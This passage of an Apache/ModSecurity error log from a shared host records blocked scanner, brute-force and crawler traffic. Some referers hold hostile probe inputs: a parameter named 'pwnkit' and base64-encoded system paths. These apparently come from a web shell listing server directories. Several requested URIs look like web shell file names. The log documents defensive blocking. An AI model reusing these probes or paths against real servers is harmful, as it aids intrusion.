"ai3xcCmiP80klyS0Nnr3AgAAAWI"] [Sat Jun 13 18:10:24.641302 2026] [access_compat:error] [pid 531797:tid 531882] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly91c3IvaW5jbHVkZS94Y2I= [Sat Jun 13 18:10:24.641594 2026] [access_compat:error] [pid 531797:tid 531882] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly91c3IvaW5jbHVkZS94Y2I= [Sat Jun 13 18:10:24.642101 2026] [security2:error] [pid 531797:tid 531886] [remote 193.115.126.168:52242] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 168.126.115.193.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "lotusfengshui.co.uk"] [uri "/wp-login.php"] [unique_id "ai3xcMTA7b1mZrmcA-8j0AACihY"] [Sat Jun 13 18:10:24.668895 2026] [security2:error] [pid 531797:tid 532042] [client 20.151.217.54:48622] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.opryidaho.dennis-cooper.com"] [uri "/wp-form.php"] [unique_id "ai3xcMTA7b1mZrmcA-8j0gAAAkE"] [Sat Jun 13 18:10:24.693630 2026] [security2:error] [pid 531797:tid 531897] [remote 17.246.15.113:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 113.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xcMTA7b1mZrmcA-8j1AACSyE"] [Sat Jun 13 18:10:24.723755 2026] [security2:error] [pid 531797:tid 532020] [client 191.234.188.123:47951] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/mas80.php"] [unique_id "ai3xcMTA7b1mZrmcA-8j1QAAAiw"] [Sat Jun 13 18:10:24.758734 2026] [security2:error] [pid 531797:tid 531975] [remote 47.128.118.228:18102] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "ftp.codeproblem.com"] [uri "/business/listing/show/232"] [unique_id "ai3xcMTA7b1mZrmcA-8j1gACYG4"] [Sat Jun 13 18:10:24.784014 2026] [access_compat:error] [pid 531797:tid 531925] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?action=pwnkit&p=Ly91c3IvaW5jbHVkZS94Y2I= [Sat Jun 13 18:10:24.784293 2026] [access_compat:error] [pid 531797:tid 531925] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?action=pwnkit&p=Ly91c3IvaW5jbHVkZS94Y2I= [Sat Jun 13 18:10:24.800587 2026] [security2:error] [pid 531797:tid 532065] [client 172.171.3.232:17541] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.mlvt-dsc.info"] [uri "/momo.php"] [unique_id "ai3xcMTA7b1mZrmcA-8j2AAAAlc"] [Sat Jun 13 18:10:24.869778 2026] [security2:error] [pid 531797:tid 532006] [client 20.9.67.71:41857] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.67.9.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.naturistavanessa.com"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ai3xcMTA7b1mZrmcA-8j2wAAAh4"] [Sat Jun 13 18:10:24.904519 2026] [access_compat:error] [pid 531155:tid 531208] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9kZXZpY2UvaW5wdXQvaW5wdXQ3L3N1YnN5c3RlbS9pbnB1dDQvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:10:24.904865 2026] [access_compat:error] [pid 531155:tid 531208] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9kZXZpY2UvaW5wdXQvaW5wdXQ3L3N1YnN5c3RlbS9pbnB1dDQvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:10:24.978586 2026] [access_compat:error] [pid 531155:tid 531239] [remote 57.141.14.80:64779] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:24.979047 2026] [access_compat:error] [pid 531155:tid 531239] [remote 57.141.14.80:64779] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:25.087457 2026] [security2:error] [pid 531797:tid 532114] [client 191.234.188.123:34887] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.ameritekwater.com"] [uri "/bthil.php"] [unique_id "ai3xccTA7b1mZrmcA-8j4wAAAoc"] [Sat Jun 13 18:10:25.127328 2026] [security2:error] [pid 531797:tid 531868] [remote 17.22.245.159:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 159.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xccTA7b1mZrmcA-8j5gACTQQ"] [Sat Jun 13 18:10:25.234988 2026] [access_compat:error] [pid 531797:tid 531902] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:10:25.235255 2026] [access_compat:error] [pid 531797:tid 531902] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:10:25.244960 2026] [security2:error] [pid 531797:tid 532070] [client 20.151.217.54:46202] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.opryidaho.dennis-cooper.com"] [uri "/x.php"] [unique_id "ai3xccTA7b1mZrmcA-8j6AAAAlw"] [Sat Jun 13 18:10:25.264982 2026] [security2:error] [pid 531797:tid 531871] [remote 17.246.23.194:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 194.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xccTA7b1mZrmcA-8j6QACKgc"] [Sat Jun 13 18:10:25.405793 2026] [security2:error] [pid 531797:tid 532122] [client 191.233.234.186:40316] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.hy-initiative.com"] [uri "/wpconf.php"] [unique_id "ai3xccTA7b1mZrmcA-8j7AAAAo4"] [Sat Jun 13 18:10:25.414831 2026] [security2:error] [pid 531155:tid 531244] [remote 161.18.228.63:39768] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 63.228.18.161.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "mirandacustomsbrokerage.com"] [uri "/wp-login.php"] [unique_id "ai3xcSmiP80klyS0Nnr3EgABelg"] [Sat Jun 13 18:10:25.438844 2026] [access_compat:error] [pid 531155:tid 531161] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQwL2RldmljZS9pZA== [Sat Jun 13 18:10:25.439122 2026] [access_compat:error] [pid 531155:tid 531161] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQwL2RldmljZS9pZA== [Sat Jun 13 18:10:25.455862 2026] [security2:error] [pid 531155:tid 531300] [client 20.151.217.54:9351] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "hairofsheba.com"] [uri "/s-axi.php"] [unique_id "ai3xcSmiP80klyS0Nnr3FAAAARk"] [Sat Jun 13 18:10:25.538083 2026] [access_compat:error] [pid 531797:tid 531906] [remote 57.141.14.84:41936] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:25.538364 2026] [access_compat:error] [pid 531797:tid 531906] [remote 57.141.14.84:41936] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:25.573386 2026] [security2:error] [pid 531797:tid 532092] [client 20.151.217.54:65256] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "jugglepro.org"] [uri "/wp-form.php"] [unique_id "ai3xccTA7b1mZrmcA-8j8AAAAnE"] [Sat Jun 13 18:10:25.673915 2026] [security2:error] [pid 531797:tid 532081] [client 172.171.3.232:60415] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.jesusknowsyourname.org"] [uri "/.well-known/index.php"] [unique_id "ai3xccTA7b1mZrmcA-8j8gAAAmc"] [Sat Jun 13 18:10:25.700371 2026] [access_compat:error] [pid 531797:tid 531956] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:10:25.700678 2026] [access_compat:error] [pid 531797:tid 531956] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:10:25.722557 2026] [security2:error] [pid 531797:tid 531928] [remote 17.241.227.86:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xccTA7b1mZrmcA-8j9gACeUA"] [Sat Jun 13 18:10:25.859269 2026] [access_compat:error] [pid 531797:tid 531960] [remote 57.141.14.77:21549] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:25.859550 2026] [access_compat:error] [pid 531797:tid 531960] [remote 57.141.14.77:21549] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:25.946489 2026] [access_compat:error] [pid 531155:tid 531205] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9tb3VzZTAvcG93ZXI= [Sat Jun 13 18:10:25.946777 2026] [access_compat:error] [pid 531155:tid 531205] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9tb3VzZTAvcG93ZXI= [Sat Jun 13 18:10:25.975087 2026] [access_compat:error] [pid 531797:tid 531879] [remote 57.141.14.61:34818] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:25.975369 2026] [access_compat:error] [pid 531797:tid 531879] [remote 57.141.14.61:34818] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:25.997393 2026] [access_compat:error] [pid 531797:tid 531927] [remote 57.141.14.98:44422] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:25.997691 2026] [access_compat:error] [pid 531797:tid 531927] [remote 57.141.14.98:44422] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:26.079202 2026] [security2:error] [pid 531797:tid 531914] [remote 17.22.253.230:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 230.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xcsTA7b1mZrmcA-8kAwACSzI"] [Sat Jun 13 18:10:26.136293 2026] [security2:error] [pid 531797:tid 532079] [client 172.171.3.232:53643] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.mlvt-dsc.info"] [uri "/asu.php"] [unique_id "ai3xcsTA7b1mZrmcA-8kCAAAAmU"] [Sat Jun 13 18:10:26.245857 2026] [access_compat:error] [pid 531797:tid 531972] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3NiaW4= [Sat Jun 13 18:10:26.246279 2026] [access_compat:error] [pid 531797:tid 531972] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3NiaW4= [Sat Jun 13 18:10:26.281328 2026] [security2:error] [pid 531797:tid 532005] [client 191.234.188.123:35949] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.ameritekwater.com"] [uri "/av.php"] [unique_id "ai3xcsTA7b1mZrmcA-8kEgAAAh0"] [Sat Jun 13 18:10:26.484357 2026] [access_compat:error] [pid 531155:tid 531188] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQxL3N1YnN5c3RlbS9pbnB1dDIvZGV2aWNl [Sat Jun 13 18:10:26.484799 2026] [access_compat:error] [pid 531155:tid 531188] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQxL3N1YnN5c3RlbS9pbnB1dDIvZGV2aWNl [Sat Jun 13 18:10:26.513627 2026] [security2:error] [pid 531797:tid 531926] [remote 17.22.237.73:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 73.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xcsTA7b1mZrmcA-8kGAAChz4"] [Sat Jun 13 18:10:26.589096 2026] [access_compat:error] [pid 531155:tid 531217] [remote 57.141.14.47:41460] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:26.589575 2026] [access_compat:error] [pid 531155:tid 531217] [remote 57.141.14.47:41460] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:26.643220 2026] [access_compat:error] [pid 531797:tid 531912] [remote 216.73.216.182:62278] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:26.643566 2026] [access_compat:error] [pid 531797:tid 531912] [remote 216.73.216.182:62278] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:26.795094 2026] [security2:error] [pid 531797:tid 532115] [client 20.151.217.54:9289] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "hairofsheba.com"] [uri "/wp-scanner.php"] [unique_id "ai3xcsTA7b1mZrmcA-8kIQAAAog"] [Sat Jun 13 18:10:26.814985 2026] [access_compat:error] [pid 531797:tid 531901] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?action=pwnkit&p=L3N5cy9tb2R1bGUvZ3JhY2U= [Sat Jun 13 18:10:26.815288 2026] [access_compat:error] [pid 531797:tid 531901] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?action=pwnkit&p=L3N5cy9tb2R1bGUvZ3JhY2U= [Sat Jun 13 18:10:26.827998 2026] [security2:error] [pid 531155:tid 531352] [client 172.171.3.232:17523] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.mlvt-dsc.info"] [uri "/wolf.php"] [unique_id "ai3xcimiP80klyS0Nnr3LwAAAU0"] [Sat Jun 13 18:10:26.893667 2026] [access_compat:error] [pid 531155:tid 531283] [remote 57.141.14.11:43947] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:26.893950 2026] [access_compat:error] [pid 531155:tid 531283] [remote 57.141.14.11:43947] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:26.921985 2026] [security2:error] [pid 531155:tid 531231] [remote 57.141.14.108:35501] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 108.14.141.57.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "nelsonfarmstn.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "ai3xcimiP80klyS0Nnr3MQABF0s"], referer: https://nelsonfarmstn.com/?add_to_wishlist=1258&_wpnonce=dacad5c21f&add-to-cart=1258 [Sat Jun 13 18:10:26.960606 2026] [access_compat:error] [pid 531155:tid 531254] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: 